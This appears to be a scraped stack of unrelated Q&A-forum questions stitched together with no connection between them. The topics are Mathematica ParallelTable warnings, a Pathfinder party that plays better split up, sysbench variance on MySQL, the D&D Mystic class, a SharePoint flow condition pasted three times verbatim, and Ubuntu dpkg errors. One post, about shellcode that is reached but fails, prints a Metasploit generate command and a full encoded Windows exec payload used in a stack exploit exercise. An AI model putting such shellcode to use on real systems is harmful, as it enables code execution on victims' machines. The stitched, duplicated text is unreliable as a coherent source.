Why ParallelTable warns where Table runs quietly?

I have a code involving ParametricNDSolveValue and FindRoot to find a trajectory [actually, trajectory of a line that everywhere is normal to magnetic field] passing through a given point {rn,zn} on the rz plane. First I call for ParametricNDSolveValue to find trajectory zs[z0] that starts from the point {0,z0} on the axis z:

dzdr$  [r_, z_] /; r < 1/10^5 = (  r (-9 Sin[2 z] + 4 Sin[4 z]))/(-9 + 9 Cos[2 z] - 2 Cos[4 z]);  dzdr$  [r_, z_] /;    r >= 1/10^5 = (2 r (9 BesselI[1, 2 r] Sin[2 z] -        2 BesselI[1, 4 r] Sin[4 z]))/(18 r + 2 r^3 -      9 r BesselI[0, 2 r] Cos[2 z] - 9 BesselI[1, 2 r] Cos[2 z] -      9 r BesselI[2, 2 r] Cos[2 z] + 2 r BesselI[0, 4 r] Cos[4 z] +      BesselI[1, 4 r] Cos[4 z] + 2 r BesselI[2, 4 r] Cos[4 z]);  pfun = ParametricNDSolveValue[{D[z[r], r] == dzdr$  [r, z[r]],     z[0] == z0}, z, {r, 0, 1.5}, {{z0, -(\[Pi]/2), \[Pi]/2}}]  zs[{r_?NumericQ, z0_?NumericQ}] := pfun[z0][r] 

At the second step I define function getZ0[{rn,zn}] that calls for FindRoot to find starting point z0 for the trajectory that passes through a given point {rn,zn}:

getZ0[{rn_?NumericQ, zn_?NumericQ}, z0Start_?NumericQ] := Module[   {sol}   , sol =     FindRoot[zs[{rn, z0}] - zn, {z0, z0Start, -(\[Pi]/2), \[Pi]/2}];   sol[[1, 2]]   ] getZ0[{rn_?NumericQ, zn_?NumericQ}] := getZ0[{rn, zn}, zn] 

Finally, I want to evaluate getZ0 on a rectangular grid using Table:

Table[{{rn, zn}, getZ0[{rn, zn}]}, {zn, -(\[Pi]/2), \[Pi]/2,    1/2 \[Pi]/2}, {rn, 0, 1, 0.5}] 

This works fine. However substuting Table with ParallelTable results in sequence of Warnings of the types: FindRoot::lstol, ParametricNDSolveValue::ndsz, InterpolatingFunction::dmval. However both routines seemed to give same results.

To say truth, the differential equation which is solved by ParametricNDSolveValue is singular in two poins (where magnetic field is zero). But I wonder why there are no warnings when I use Table rather than ParallelTable?

How to manage a party that runs better in smaller groups?

I’ve been running a pathfinder campaign for close to 4 years now. In my mind it has been quite successful and my players are generally active and engaged in the story. However, over the course of the campaign I have noticed a strange trend that I’m not sure what to do about. It is kind of strange but I’ll do my best to explain it.

Group Composition

My player group consists of 4 (sometimes 5) players; my wife, my sister, my best mate and his girlfriend, another friend also plays but is currently overseas for a year. The age range is between 25-32 and the group all get on well. I love this group and want to see this campaign through to the end. Therefore splitting the group is an absolute last resort.

Campaign Details

I run a large scale open world campaign, with lots of sandbox play and opportunities for the players to explore. There are plots and threats throughout the world but where they go and how they deal with them is entirely up to the players.

Typically the party spend about 50% of it’s time exploring or traveling; 30% in towns, shopping or interacting with NPCs; and 20% in dungeons or on specific quests. I would like to adjust this slightly to reduce the amount of time spent traveling, most of the time is lost to indecision where the party can’t agree on a single course of action. More accurately they like to carefully examine every possible option before deciding, which takes a lot of time to reach a decision.

The Issue

Throughout the campaign there have been a few times when the party was split up, either for a scene or two, or for an entire session where I ran separate sessions for each half of the party. Most recently they encountered a pit trap that left the party separated in a dungeon. I switched back and forth between the parties until they could rejoin and it went quite well. Previously I’ve had two characters enslaved and forced to fight in an arena while the rest of the party worked on the outside to tilt the odds in their favour. These are just two examples from across a long campaign.

The pattern I have noticed is that almost every time I run one of these sessions the feedback I get is something like “That was the best session ever” or “best session in a while, I got everything done that I wanted to”. Basically the players constantly seem to enjoy sessions where they are separated more than ones where they are not.

Some reason I think this may be happening:

  • Faster decision making in smaller groups
  • More focused narrative where they always have a role to play in their scenes
  • Having less options forces them to think more creatively
  • Something to do with how I plan/run these session, though I am unsure what.

My Question

I’ve struggled with how to formulate this as a question so comments are welcome but here is my current question:

How do I best utilise the knowledge that my players enjoy sessions with smaller groups to improve my game?

Things I have considered:

  • Regularly splitting the party – I feel like this is the only solution that can reliably achieve this. But I’m having trouble thinking of ways to split the party often while maintaining a reasonable narrative flow.
  • Request for additional feedback – I’ve already tried this somewhat but haven’t gotten much that is meaningful. I can try for more targeted feedback with specific questions.
  • Changing the way I prepare my sessions – I think this is my preferred solution but I am struggling to identify what I am doing differently between the split and non-split sessions.

Answer types that I am expecting:

  • Advice on how to run for the whole group the way I do for the smaller group
  • Suggestions on what the issue with the larger group may be so that I can fix it
  • Advice on how to regularly split the party in a logical and narratively maintainable way.
  • Something I haven’t thought of (that really the point of this I guess)

TL;DR

My party seem to enjoy sessions where they are split into smaller groups. How can I use this to improve my game overall?

sysbench runs give different result for mysql database performance evaluation

i am trying to evaluate the performance of mysql database cluster , INNODB cluster (group replication) , so i use sysbench , i run multiple test using the lua scripts (read_write.lua / read_only.lua / bulk_insert.lua) , each test is run 100 runs for repetition (to give more accurate value) ,and took the mean of the result for each test with different number of threads, but i have a problem if i rerun the test on same servers with same sysbench variables and same values for mysql cluster configuration i have different result which make me confused , could any one advise of what could the problem please. noting that i am using 3 servers vms (on same datacenter vms ) with same specification for cluster , and one server as router on same vm , sysbench installed on different server also on same vm to not have network issues.

servers specification of cluster:

ram: 8G

cpu: 2cores , x86_64, 2593.906 MHz

sysbench version : 1.0.18-1

mysql version : 8.0.18

noting below is the same values on 3 servers of my.cnf file, for sure with different server id

my.cnf file on the 3 nodes:

sysbench command used for bulk insert

sysbench –mysql-host=router_IP –mysql-port=6446 –db-driver=mysql –mysql-user=root –mysql-password=** –mysql-db=test_cluster –threads=30 –events=100000 –time=60 /usr/share/sysbench/bulk_insert.lua run |cat > innodb.log

sysbench command used for read_only test

sysbench –mysql-host=router_IP –mysql-port=6447 –db-driver=mysql –mysql-user=root –mysql-password=** –mysql-db=test_cluster –tables=5 –table_size=2000000 –threads=30 /usr/share/sysbench/oltp_read_write.lua run |cat > innodb.log

What happens when a Mystic runs out of disciplines to learn?

The most recent version (v3) of the Mystic class from Unearthed Arcana can be found here.

The Order of the Nomad gets 2 additional disciplines at 1st level from the “Bonus Disciplines” feature, meaning that all of the Nomad disciplines are unlocked by level 5.

However, at level 7 and above, the number of disciplines known increases further for all mystics. Normally, I would think that the mystic simply would unlock nothing, but at level 20, the sheet says that all mystics know 8 disciplines, which is more than any one order has.

What do you do if your mystic has learned all the disciplines for an order, but is still able to learn more disciplines?

sharepoint flow condition runs showing False always

I have a sharepoint list with a list with “Leave type” as one of the columns which is a choice field. I have another column as “Days requested” i created a flow that needs approval redirected to another person if Leave type is Annual Leave and it is more than 10 days Combination of IF and AND condition. i discovered it is running as “Inputs expression is False and goes to where false expression should go even if the condition is true. I have tried several times and the problem keeps showing up. thus directing my flow to the email meant for false expression

sharepoint flow condition runs showing False always

I have a sharepoint list with a list with “Leave type” as one of the columns which is a choice field. I have another column as “Days requested” i created a flow that needs approval redirected to another person if Leave type is Annual Leave and it is more than 10 days Combination of IF and AND condition. i discovered it is running as “Inputs expression is False and goes to where false expression should go even if the condition is true. I have tried several times and the problem keeps showing up. thus directing my flow to the email meant for false expression

sharepoint flow condition runs showing False always

I have a sharepoint list with a list with “Leave type” as one of the columns which is a choice field. I have another column as “Days requested” i created a flow that needs approval redirected to another person if Leave type is Annual Leave and it is more than 10 days Combination of IF and AND condition. i discovered it is running as “Inputs expression is False and goes to where false expression should go even if the condition is true. I have tried several times and the problem keeps showing up. thus directing my flow to the email meant for false expression

Shellcode is jumped to and executed but runs into error

I am really at a loss trying to understand why a Metasploit Windows payload is indeed reached (see snapshot from Immunity below), executed (at least partially), but doesn’t pop a calc.exe at all.

The shellcode on its own, tested within a C wrapper, does work (snapshot attached).

The shellcode on the stack, although reached by Immunity, does not. I have put an “\xcc” before, to visualize that it indeed is positioned and about to be executed. The disassembly code looks dodgy to me… but again, it works on its own…

Shellcode:

msf5 payload(windows/exec) > generate -b "\x00" -e x86/alpha_mixed -f c /*  * windows/exec - 448 bytes  * https://metasploit.com/  * Encoder: x86/alpha_mixed  * VERBOSE=false, PrependMigrate=false, EXITFUNC=process,   * CMD=calc.exe  */ 

OS: Windows 7 64bits, DEP switched off.

Below is a picture of my shellcode about to be executed (with a couple of NOPs and a “\xcc” to break). Things seem to break as early as the 3rd line with “FSTENV”…

shellcode being executed

enter image description here

Actual shellcode in Python format:

"\x89\xe6\xd9\xc7\xd9\x76\xf4\x5e\x56\x59\x49\x49\x49\x49\x49" + \ "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" + \ "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" + \ "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" + \ "\x4b\x4c\x4d\x38\x4c\x42\x43\x30\x73\x30\x55\x50\x55\x30\x6b" + \ "\x39\x58\x65\x76\x51\x69\x50\x52\x44\x4c\x4b\x52\x70\x46\x50" + \ "\x4c\x4b\x63\x62\x74\x4c\x4c\x4b\x63\x62\x47\x64\x4c\x4b\x62" + \ "\x52\x47\x58\x74\x4f\x6c\x77\x61\x5a\x51\x36\x55\x61\x59\x6f" + \ "\x6c\x6c\x75\x6c\x51\x71\x61\x6c\x53\x32\x64\x6c\x55\x70\x4f" + \ "\x31\x58\x4f\x36\x6d\x55\x51\x5a\x67\x68\x62\x6a\x52\x66\x32" + \ "\x32\x77\x4c\x4b\x72\x72\x66\x70\x4e\x6b\x32\x6a\x77\x4c\x4e" + \ "\x6b\x72\x6c\x34\x51\x74\x38\x6d\x33\x63\x78\x45\x51\x38\x51" + \ "\x56\x31\x4c\x4b\x63\x69\x55\x70\x55\x51\x79\x43\x4c\x4b\x71" + \ "\x59\x65\x48\x6a\x43\x64\x7a\x42\x69\x6c\x4b\x46\x54\x6c\x4b" + \ "\x55\x51\x7a\x76\x54\x71\x4b\x4f\x6c\x6c\x4a\x61\x48\x4f\x36" + \ "\x6d\x37\x71\x39\x57\x65\x68\x79\x70\x50\x75\x4b\x46\x76\x63" + \ "\x31\x6d\x7a\x58\x55\x6b\x43\x4d\x57\x54\x34\x35\x49\x74\x52" + \ "\x78\x4c\x4b\x56\x38\x67\x54\x37\x71\x38\x53\x75\x36\x4e\x6b" + \ "\x44\x4c\x52\x6b\x6c\x4b\x73\x68\x55\x4c\x36\x61\x78\x53\x6c" + \ "\x4b\x46\x64\x6c\x4b\x65\x51\x38\x50\x6b\x39\x50\x44\x37\x54" + \ "\x35\x74\x31\x4b\x63\x6b\x73\x51\x76\x39\x51\x4a\x52\x71\x4b" + \ "\x4f\x69\x70\x43\x6f\x71\x4f\x61\x4a\x4c\x4b\x74\x52\x6a\x4b" + \ "\x4e\x6d\x71\x4d\x43\x5a\x66\x61\x4c\x4d\x4b\x35\x78\x32\x67" + \ "\x70\x47\x70\x35\x50\x66\x30\x33\x58\x64\x71\x6c\x4b\x72\x4f" + \ "\x6d\x57\x79\x6f\x6b\x65\x6d\x6b\x78\x70\x48\x35\x4f\x52\x71" + \ "\x46\x53\x58\x4e\x46\x6a\x35\x4f\x4d\x4d\x4d\x6b\x4f\x58\x55" + \ "\x75\x6c\x37\x76\x73\x4c\x54\x4a\x6f\x70\x69\x6b\x49\x70\x32" + \ "\x55\x45\x55\x6f\x4b\x52\x67\x62\x33\x50\x72\x50\x6f\x42\x4a" + \ "\x45\x50\x31\x43\x69\x6f\x7a\x75\x63\x53\x75\x31\x52\x4c\x30" + \ "\x63\x64\x6e\x32\x45\x61\x68\x51\x75\x35\x50\x41\x41" 

18.04 runs but will not update

My kernel is Linux 4.15.0-58-generic. I’ve tried a variety of: update, upgrade, repair, install, remove, purge, full-upgrade and other things I have found in various “fixes” posts, but the general error I get after going through all manner of attempts to get current is:

dpkg: error processing package linux-image-4.15.0-64-generic (--configure):  installed linux-image-4.15.0-64-generic package post-installation script subprocess returned error exit status 1 Errors were encountered while processing:  linux-image-4.15.0-65-generic  linux-image-4.15.0-60-generic  linux-image-4.15.0-64-generic E: Sub-process /usr/bin/dpkg returned an error code (1)   

Any help would be very much appreciated. Thanks in advance.